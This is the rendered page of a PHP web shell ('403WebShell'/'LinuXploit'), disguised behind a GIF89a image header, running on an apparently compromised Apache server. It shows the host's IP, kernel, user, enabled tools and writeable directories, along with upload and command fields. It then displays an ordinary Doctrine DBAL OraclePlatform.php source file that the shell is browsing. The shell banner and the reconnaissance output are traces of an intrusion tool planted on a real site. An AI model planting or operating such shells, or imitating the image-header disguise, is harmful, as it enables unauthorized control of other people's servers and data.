GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.3.214.167, 216.73.216.248
Web Server : Apache
System : Linux opus07 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /htdocs/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /htdocs/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms//OraclePlatform.php
<?php
/*
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * This software consists of voluntary contributions made by many individuals
 * and is licensed under the MIT license. For more information, see
 * <http://www.doctrine-project.org>.
 */

namespace Doctrine\DBAL\Platforms;

use Doctrine\DBAL\Schema\ForeignKeyConstraint;
use Doctrine\DBAL\Schema\Index;
use Doctrine\DBAL\Schema\Sequence;
use Doctrine\DBAL\Schema\Table;
use Doctrine\DBAL\Schema\TableDiff;
use Doctrine\DBAL\DBALException;

/**
 * OraclePlatform.
 *
 * @since 2.0
 * @author Roman Borschel <roman@code-factory.org>
 * @author Lukas Smith <smith@pooteeweet.org> (PEAR MDB2 library)
 * @author Benjamin Eberlei <kontakt@beberlei.de>
 */
class OraclePlatform extends AbstractPlatform
{
    /**
     * Assertion for Oracle identifiers.
     *
     * @link http://docs.oracle.com/cd/B19306_01/server.102/b14200/sql_elements008.htm
     *
     * @param string $identifier
     *
     * @throws DBALException
     */
    static public function assertValidIdentifier($identifier)
    {
        if ( ! preg_match('(^(([a-zA-Z]{1}[a-zA-Z0-9_$#]{0,})|("[^"]+"))$)', $identifier)) {
            throw new DBALException("Invalid Oracle identifier");
        }
    }

    /**
     * {@inheritDoc}
     */
    public function getSubstringExpression($value, $position, $length = null)
    {
        if ($length !== null) {
            return "SUBSTR($value, $position, $length)";
        }

        return "SUBSTR($value, $position)";
    }

    /**
     * {@inheritDoc}
     */
    public function getNowExpression($type = 'timestamp')
    {
        switch ($type) {
            case 'date':
            case 'time':
            case 'timestamp':
            default:
                return 'TO_CHAR(CURRENT_TIMESTAMP, \'YYYY-MM-DD HH24:MI:SS\')';
        }
    }

    /**
     * {@inheritDoc}
     */
    public function getLocateExpression($str, $substr, $startPos = false)
    {
        if ($startPos == false) {
            return 'INSTR('.$str.', '.$substr.')';
        }

        return 'INSTR('.$str.', '.$substr.', '.$startPos.')';
    }

    /**
     * {@inheritDoc}
     */
    public function getGuidExpression()
    {
        return 'SYS_GUID()';
    }

    /**
     * {@inheritDoc}
     *
     * Note: Since Oracle timestamp differences are calculated down to the microsecond we have to truncate
     * them to the difference in days. This is obviously a restriction of the original functionality, but we
     * need to make this a portable function.
     */
    public function getDateDiffExpression($date1, $date2)
    {
        return "TRUNC(TO_NUMBER(SUBSTR((" . $date1 . "-" . $date2 . "), 1, INSTR(" . $date1 . "-" . $date2 .", ' '))))";
    }

    /**
     * {@inheritDoc}
     */
    public function getDateAddHourExpression($date, $hours)
    {
        return '(' . $date . '+' . $hours . '/24)';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateSubHourExpression($date, $hours)
    {
        return '(' . $date . '-' . $hours . '/24)';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateAddDaysExpression($date, $days)
    {
        return '(' . $date . '+' . $days . ')';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateSubDaysExpression($date, $days)
    {
        return '(' . $date . '-' . $days . ')';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateAddMonthExpression($date, $months)
    {
        return "ADD_MONTHS(" . $date . ", " . $months . ")";
    }

    /**
     * {@inheritDoc}
     */
    public function getDateSubMonthExpression($date, $months)
    {
        return "ADD_MONTHS(" . $date . ", -" . $months . ")";
    }

    /**
     * {@inheritDoc}
     */
    public function getBitAndComparisonExpression($value1, $value2)
    {
        return 'BITAND('.$value1 . ', ' . $value2 . ')';
    }

    /**
     * {@inheritDoc}
     */
    public function getBitOrComparisonExpression($value1, $value2)
    {
        return '(' . $value1 . '-' .
                $this->getBitAndComparisonExpression($value1, $value2)
                . '+' . $value2 . ')';
    }

    /**
     * {@inheritDoc}
     *
     * Need to specifiy minvalue, since start with is hidden in the system and MINVALUE <= START WITH.
     * Therefore we can use MINVALUE to be able to get a hint what START WITH was for later introspection
     * in {@see listSequences()}
     */
    public function getCreateSequenceSQL(Sequence $sequence)
    {
        return 'CREATE SEQUENCE ' . $sequence->getQuotedName($this) .
               ' START WITH ' . $sequence->getInitialValue() .
               ' MINVALUE ' . $sequence->getInitialValue() .
               ' INCREMENT BY ' . $sequence->getAllocationSize();
    }

    /**
     * {@inheritDoc}
     */
    public function getAlterSequenceSQL(\Doctrine\DBAL\Schema\Sequence $sequence)
    {
        return 'ALTER SEQUENCE ' . $sequence->getQuotedName($this) .
               ' INCREMENT BY ' . $sequence->getAllocationSize();
    }

    /**
     * {@inheritDoc}
     */
    public function getSequenceNextValSQL($sequenceName)
    {
        return 'SELECT ' . $sequenceName . '.nextval FROM DUAL';
    }

    /**
     * {@inheritDoc}
     */
    public function getSetTransactionIsolationSQL($level)
    {
        return 'SET TRANSACTION ISOLATION LEVEL ' . $this->_getTransactionIsolationLevelSQL($level);
    }

    /**
     * {@inheritDoc}
     */
    protected function _getTransactionIsolationLevelSQL($level)
    {
        switch ($level) {
            case \Doctrine\DBAL\Connection::TRANSACTION_READ_UNCOMMITTED:
                return 'READ UNCOMMITTED';
            case \Doctrine\DBAL\Connection::TRANSACTION_READ_COMMITTED:
                return 'READ COMMITTED';
            case \Doctrine\DBAL\Connection::TRANSACTION_REPEATABLE_READ:
            case \Doctrine\DBAL\Connection::TRANSACTION_SERIALIZABLE:
                return 'SERIALIZABLE';
            default:
                return parent::_getTransactionIsolationLevelSQL($level);
        }
    }

    /**
     * {@inheritDoc}
     */
    public function getBooleanTypeDeclarationSQL(array $field)
    {
        return 'NUMBER(1)';
    }

    /**
     * {@inheritDoc}
     */
    public function getIntegerTypeDeclarationSQL(array $field)
    {
        return 'NUMBER(10)';
    }

    /**
     * {@inheritDoc}
     */
    public function getBigIntTypeDeclarationSQL(array $field)
    {
        return 'NUMBER(20)';
    }

    /**
     * {@inheritDoc}
     */
    public function getSmallIntTypeDeclarationSQL(array $field)
    {
        return 'NUMBER(5)';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateTimeTypeDeclarationSQL(array $fieldDeclaration)
    {
        return 'TIMESTAMP(0)';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateTimeTzTypeDeclarationSQL(array $fieldDeclaration)
    {
        return 'TIMESTAMP(0) WITH TIME ZONE';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateTypeDeclarationSQL(array $fieldDeclaration)
    {
        return 'DATE';
    }

    /**
     * {@inheritDoc}
     */
    public function getTimeTypeDeclarationSQL(array $fieldDeclaration)
    {
        return 'DATE';
    }

    /**
     * {@inheritDoc}
     */
    protected function _getCommonIntegerTypeDeclarationSQL(array $columnDef)
    {
        return '';
    }

    /**
     * {@inheritDoc}
     */
    protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed)
    {
        return $fixed ? ($length ? 'CHAR(' . $length . ')' : 'CHAR(2000)')
                : ($length ? 'VARCHAR2(' . $length . ')' : 'VARCHAR2(4000)');
    }

    /**
     * {@inheritDoc}
     */
    public function getClobTypeDeclarationSQL(array $field)
    {
        return 'CLOB';
    }

    /**
     * {@inheritDoc}
     */
    public function getListDatabasesSQL()
    {
        return 'SELECT username FROM all_users';
    }

    /**
     * {@inheritDoc}
     */
    public function getListSequencesSQL($database)
    {
        return "SELECT sequence_name, min_value, increment_by FROM sys.all_sequences ".
               "WHERE SEQUENCE_OWNER = '".strtoupper($database)."'";
    }

    /**
     * {@inheritDoc}
     */
    protected function _getCreateTableSQL($table, array $columns, array $options = array())
    {
        $indexes = isset($options['indexes']) ? $options['indexes'] : array();
        $options['indexes'] = array();
        $sql = parent::_getCreateTableSQL($table, $columns, $options);

        foreach ($columns as $name => $column) {
            if (isset($column['sequence'])) {
                $sql[] = $this->getCreateSequenceSQL($column['sequence'], 1);
            }

            if (isset($column['autoincrement']) && $column['autoincrement'] ||
               (isset($column['autoinc']) && $column['autoinc'])) {
                $sql = array_merge($sql, $this->getCreateAutoincrementSql($name, $table));
            }
        }

        if (isset($indexes) && ! empty($indexes)) {
            foreach ($indexes as $index) {
                $sql[] = $this->getCreateIndexSQL($index, $table);
            }
        }

        return $sql;
    }

    /**
     * {@inheritDoc}
     *
     * @license New BSD License
     * @link http://ezcomponents.org/docs/api/trunk/DatabaseSchema/ezcDbSchemaOracleReader.html
     */
    public function getListTableIndexesSQL($table, $currentDatabase = null)
    {
        $table = strtoupper($table);

        return "SELECT uind.index_name AS name, " .
             "       uind.index_type AS type, " .
             "       decode( uind.uniqueness, 'NONUNIQUE', 0, 'UNIQUE', 1 ) AS is_unique, " .
             "       uind_col.column_name AS column_name, " .
             "       uind_col.column_position AS column_pos, " .
             "       (SELECT ucon.constraint_type FROM user_constraints ucon WHERE ucon.constraint_name = uind.index_name) AS is_primary ".
             "FROM user_indexes uind, user_ind_columns uind_col " .
             "WHERE uind.index_name = uind_col.index_name AND uind_col.table_name = '$table' ORDER BY uind_col.column_position ASC";
    }

    /**
     * {@inheritDoc}
     */
    public function getListTablesSQL()
    {
        return 'SELECT * FROM sys.user_tables';
    }

    /**
     * {@inheritDoc}
     */
    public function getListViewsSQL($database)
    {
        return 'SELECT view_name, text FROM sys.user_views';
    }

    /**
     * {@inheritDoc}
     */
    public function getCreateViewSQL($name, $sql)
    {
        return 'CREATE VIEW ' . $name . ' AS ' . $sql;
    }

    /**
     * {@inheritDoc}
     */
    public function getDropViewSQL($name)
    {
        return 'DROP VIEW '. $name;
    }

    /**
     * @param string  $name
     * @param string  $table
     * @param integer $start
     *
     * @return array
     */
    public function getCreateAutoincrementSql($name, $table, $start = 1)
    {
        $table = strtoupper($table);
        $name = strtoupper($name);

        $sql   = array();

        $indexName  = $table . '_AI_PK';

        $idx = new Index($indexName, array($name), true, true);

        $sql[] = 'DECLARE
  constraints_Count NUMBER;
BEGIN
  SELECT COUNT(CONSTRAINT_NAME) INTO constraints_Count FROM USER_CONSTRAINTS WHERE TABLE_NAME = \''.$table.'\' AND CONSTRAINT_TYPE = \'P\';
  IF constraints_Count = 0 OR constraints_Count = \'\' THEN
    EXECUTE IMMEDIATE \''.$this->getCreateConstraintSQL($idx, $table).'\';
  END IF;
END;';

        $sequenceName = $table . '_' . $name . '_SEQ';
        $sequence = new Sequence($sequenceName, $start);
        $sql[] = $this->getCreateSequenceSQL($sequence);

        $triggerName  = $table . '_AI_PK';
        $sql[] = 'CREATE TRIGGER ' . $triggerName . '
   BEFORE INSERT
   ON ' . $table . '
   FOR EACH ROW
DECLARE
   last_Sequence NUMBER;
   last_InsertID NUMBER;
BEGIN
   SELECT ' . $sequenceName . '.NEXTVAL INTO :NEW.' . $name . ' FROM DUAL;
   IF (:NEW.' . $name . ' IS NULL OR :NEW.'.$name.' = 0) THEN
      SELECT ' . $sequenceName . '.NEXTVAL INTO :NEW.' . $name . ' FROM DUAL;
   ELSE
      SELECT NVL(Last_Number, 0) INTO last_Sequence
        FROM User_Sequences
       WHERE Sequence_Name = \'' . $sequenceName . '\';
      SELECT :NEW.' . $name . ' INTO last_InsertID FROM DUAL;
      WHILE (last_InsertID > last_Sequence) LOOP
         SELECT ' . $sequenceName . '.NEXTVAL INTO last_Sequence FROM DUAL;
      END LOOP;
   END IF;
END;';

        return $sql;
    }

    /**
     * @param string $table
     *
     * @return array
     */
    public function getDropAutoincrementSql($table)
    {
        $table = strtoupper($table);
        $trigger = $table . '_AI_PK';

        $sql[] = 'DROP TRIGGER ' . $trigger;
        $sql[] = $this->getDropSequenceSQL($table.'_SEQ');

        $indexName = $table . '_AI_PK';
        $sql[] = $this->getDropConstraintSQL($indexName, $table);

        return $sql;
    }

    /**
     * {@inheritDoc}
     */
    public function getListTableForeignKeysSQL($table)
    {
        $table = strtoupper($table);

        return "SELECT alc.constraint_name,
          alc.DELETE_RULE,
          alc.search_condition,
          cols.column_name \"local_column\",
          cols.position,
          r_alc.table_name \"references_table\",
          r_cols.column_name \"foreign_column\"
     FROM user_cons_columns cols
LEFT JOIN user_constraints alc
       ON alc.constraint_name = cols.constraint_name
LEFT JOIN user_constraints r_alc
       ON alc.r_constraint_name = r_alc.constraint_name
LEFT JOIN user_cons_columns r_cols
       ON r_alc.constraint_name = r_cols.constraint_name
      AND cols.position = r_cols.position
    WHERE alc.constraint_name = cols.constraint_name
      AND alc.constraint_type = 'R'
      AND alc.table_name = '".$table."'";
    }

    /**
     * {@inheritDoc}
     */
    public function getListTableConstraintsSQL($table)
    {
        $table = strtoupper($table);
        return 'SELECT * FROM user_constraints WHERE table_name = \'' . $table . '\'';
    }

    /**
     * {@inheritDoc}
     */
    public function getListTableColumnsSQL($table, $database = null)
    {
        $table = strtoupper($table);

        $tabColumnsTableName = "user_tab_columns";
        $ownerCondition = '';

        if (null !== $database){
            $database = strtoupper($database);
            $tabColumnsTableName = "all_tab_columns";
            $ownerCondition = "AND c.owner = '".$database."'";
        }

        return "SELECT c.*, d.comments FROM $tabColumnsTableName c ".
               "INNER JOIN user_col_comments d ON d.TABLE_NAME = c.TABLE_NAME AND d.COLUMN_NAME = c.COLUMN_NAME ".
               "WHERE c.table_name = '" . $table . "' ".$ownerCondition." ORDER BY c.column_name";
    }

    /**
     * {@inheritDoc}
     */
    public function getDropSequenceSQL($sequence)
    {
        if ($sequence instanceof Sequence) {
            $sequence = $sequence->getQuotedName($this);
        }

        return 'DROP SEQUENCE ' . $sequence;
    }

    /**
     * {@inheritDoc}
     */
    public function getDropForeignKeySQL($foreignKey, $table)
    {
        if ($foreignKey instanceof ForeignKeyConstraint) {
            $foreignKey = $foreignKey->getQuotedName($this);
        }

        if ($table instanceof Table) {
            $table = $table->getQuotedName($this);
        }

        return 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $foreignKey;
    }

    /**
     * {@inheritDoc}
     */
    public function getDropDatabaseSQL($database)
    {
        return 'DROP USER ' . $database . ' CASCADE';
    }

    /**
     * {@inheritDoc}
     */
    public function getAlterTableSQL(TableDiff $diff)
    {
        $sql = array();
        $commentsSQL = array();
        $columnSql = array();

        $fields = array();

        foreach ($diff->addedColumns as $column) {
            if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) {
                continue;
            }

            $fields[] = $this->getColumnDeclarationSQL($column->getQuotedName($this), $column->toArray());
            if ($comment = $this->getColumnComment($column)) {
                $commentsSQL[] = $this->getCommentOnColumnSQL($diff->name, $column->getName(), $comment);
            }
        }

        if (count($fields)) {
            $sql[] = 'ALTER TABLE ' . $diff->name . ' ADD (' . implode(', ', $fields) . ')';
        }

        $fields = array();
        foreach ($diff->changedColumns as $columnDiff) {
            if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) {
                continue;
            }

            $column = $columnDiff->column;
            $columnHasChangedComment = $columnDiff->hasChanged('comment');

            /**
             * Do not add query part if only comment has changed
             */
            if ( ! ($columnHasChangedComment && count($columnDiff->changedProperties) === 1)) {
                $columnInfo = $column->toArray();

                if ( ! $columnDiff->hasChanged('notnull')) {
                    $columnInfo['notnull'] = false;
                }

                $fields[] = $column->getQuotedName($this) . ' ' . $this->getColumnDeclarationSQL('', $columnInfo);
            }

            if ($columnHasChangedComment) {
                $commentsSQL[] = $this->getCommentOnColumnSQL(
                    $diff->name,
                    $column->getName(),
                    $this->getColumnComment($column)
                );
            }
        }

        if (count($fields)) {
            $sql[] = 'ALTER TABLE ' . $diff->name . ' MODIFY (' . implode(', ', $fields) . ')';
        }

        foreach ($diff->renamedColumns as $oldColumnName => $column) {
            if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) {
                continue;
            }

            $sql[] = 'ALTER TABLE ' . $diff->name . ' RENAME COLUMN ' . $oldColumnName .' TO ' . $column->getQuotedName($this);
        }

        $fields = array();
        foreach ($diff->removedColumns as $column) {
            if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) {
                continue;
            }

            $fields[] = $column->getQuotedName($this);
        }

        if (count($fields)) {
            $sql[] = 'ALTER TABLE ' . $diff->name . ' DROP (' . implode(', ', $fields).')';
        }

        $tableSql = array();

        if ( ! $this->onSchemaAlterTable($diff, $tableSql)) {
            if ($diff->newName !== false) {
                $sql[] = 'ALTER TABLE ' . $diff->name . ' RENAME TO ' . $diff->newName;
            }

            $sql = array_merge($sql, $this->_getAlterTableIndexForeignKeySQL($diff), $commentsSQL);
        }

        return array_merge($sql, $tableSql, $columnSql);
    }

    /**
     * {@inheritDoc}
     */
    public function prefersSequences()
    {
        return true;
    }

    /**
     * {@inheritDoc}
     */
    public function supportsCommentOnStatement()
    {
        return true;
    }

    /**
     * {@inheritDoc}
     */
    public function getName()
    {
        return 'oracle';
    }

    /**
     * {@inheritDoc}
     */
    protected function doModifyLimitQuery($query, $limit, $offset = null)
    {
        $limit = (int) $limit;
        $offset = (int) $offset;

        if (preg_match('/^\s*SELECT/i', $query)) {
            if (!preg_match('/\sFROM\s/i', $query)) {
                $query .= " FROM dual";
            }
            if ($limit > 0) {
                $max = $offset + $limit;
                $column = '*';
                if ($offset > 0) {
                    $min = $offset + 1;
                    $query = 'SELECT * FROM (SELECT a.' . $column . ', rownum AS doctrine_rownum FROM (' .
                            $query .
                            ') a WHERE rownum <= ' . $max . ') WHERE doctrine_rownum >= ' . $min;
                } else {
                    $query = 'SELECT a.' . $column . ' FROM (' . $query . ') a WHERE ROWNUM <= ' . $max;
                }
            }
        }

        return $query;
    }

    /**
     * {@inheritDoc}
     *
     * Oracle returns all column names in SQL result sets in uppercase.
     */
    public function getSQLResultCasing($column)
    {
        return strtoupper($column);
    }

    /**
     * {@inheritDoc}
     */
    public function getCreateTemporaryTableSnippetSQL()
    {
        return "CREATE GLOBAL TEMPORARY TABLE";
    }

    /**
     * {@inheritDoc}
     */
    public function getDateTimeTzFormatString()
    {
        return 'Y-m-d H:i:sP';
    }

    /**
     * {@inheritDoc}
     */
    public function getDateFormatString()
    {
        return 'Y-m-d 00:00:00';
    }

    /**
     * {@inheritDoc}
     */
    public function getTimeFormatString()
    {
        return '1900-01-01 H:i:s';
    }

    /**
     * {@inheritDoc}
     */
    public function fixSchemaElementName($schemaElementName)
    {
        if (strlen($schemaElementName) > 30) {
            // Trim it
            return substr($schemaElementName, 0, 30);
        }

        return $schemaElementName;
    }

    /**
     * {@inheritDoc}
     */
    public function getMaxIdentifierLength()
    {
        return 30;
    }

    /**
     * {@inheritDoc}
     */
    public function supportsSequences()
    {
        return true;
    }

    /**
     * {@inheritDoc}
     */
    public function supportsForeignKeyOnUpdate()
    {
        return false;
    }

    /**
     * {@inheritDoc}
     */
    public function supportsReleaseSavepoints()
    {
        return false;
    }

    /**
     * {@inheritDoc}
     */
    public function getTruncateTableSQL($tableName, $cascade = false)
    {
        return 'TRUNCATE TABLE '.$tableName;
    }

    /**
     * {@inheritDoc}
     */
    public function getDummySelectSQL()
    {
        return 'SELECT 1 FROM DUAL';
    }

    /**
     * {@inheritDoc}
     */
    protected function initializeDoctrineTypeMappings()
    {
        $this->doctrineTypeMapping = array(
            'integer'           => 'integer',
            'number'            => 'integer',
            'pls_integer'       => 'boolean',
            'binary_integer'    => 'boolean',
            'varchar'           => 'string',
            'varchar2'          => 'string',
            'nvarchar2'         => 'string',
            'char'              => 'string',
            'nchar'             => 'string',
            'date'              => 'datetime',
            'timestamp'         => 'datetime',
            'timestamptz'       => 'datetimetz',
            'float'             => 'float',
            'long'              => 'string',
            'clob'              => 'text',
            'nclob'             => 'text',
            'raw'               => 'text',
            'long raw'          => 'text',
            'rowid'             => 'string',
            'urowid'            => 'string',
            'blob'              => 'blob',
        );
    }

    /**
     * {@inheritDoc}
     */
    public function releaseSavePoint($savepoint)
    {
        return '';
    }

    /**
     * {@inheritDoc}
     */
    protected function getReservedKeywordsClass()
    {
        return 'Doctrine\DBAL\Platforms\Keywords\OracleKeywords';
    }

    /**
     * {@inheritDoc}
     */
    public function getBlobTypeDeclarationSQL(array $field)
    {
        return 'BLOB';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit